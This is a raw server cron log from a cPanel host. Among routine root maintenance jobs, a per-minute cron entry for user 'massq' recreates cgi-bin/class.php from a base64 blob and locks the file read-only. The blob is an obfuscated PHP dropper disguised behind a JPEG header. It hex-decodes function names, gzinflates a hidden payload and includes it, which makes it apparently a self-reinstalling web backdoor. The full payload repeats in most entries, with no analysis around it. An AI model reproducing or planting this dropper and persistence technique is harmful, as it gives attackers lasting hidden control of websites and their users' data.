Sep  2 18:55:01 server CROND[24731]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:55:01 server CROND[24728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:56:01 server CROND[25550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:56:01 server CROND[25551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:56:01 server CROND[25549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:57:01 server CROND[25931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 18:57:01 server CROND[25932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:57:01 server CROND[25934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:57:01 server CROND[25935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:58:01 server CROND[26404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:58:01 server CROND[26406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:58:01 server CROND[26403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:59:01 server CROND[26783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:59:01 server CROND[26784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:59:01 server CROND[26786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:00:01 server CROND[27163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:00:01 server CROND[27166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:00:01 server CROND[27168]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:00:01 server CROND[27169]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 19:00:01 server CROND[27170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:00:01 server CROND[27172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:00:01 server CROND[27177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:00:01 server CROND[27175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:00:01 server CROND[27173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:01:01 server CROND[28010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:01:01 server CROND[28012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:01:01 server CROND[28011]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 19:01:01 server run-parts(/etc/cron.hourly)[28011]: starting 0anacron
Sep  2 19:01:01 server CROND[28023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:01:01 server run-parts(/etc/cron.hourly)[28030]: finished 0anacron
Sep  2 19:02:01 server CROND[28404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:02:01 server CROND[28405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:02:01 server CROND[28406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:03:01 server CROND[28885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:03:01 server CROND[28886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:03:01 server CROND[28887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:04:01 server CROND[29262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:04:01 server CROND[29263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:04:01 server CROND[29264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:05:01 server CROND[29650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:05:01 server CROND[29652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:05:01 server CROND[29653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 19:05:01 server CROND[29655]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 19:05:01 server CROND[29656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 19:05:01 server CROND[29660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:05:01 server CROND[29659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:05:01 server CROND[29657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:06:01 server CROND[30510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:06:01 server CROND[30511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 19:06:01 server CROND[30512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
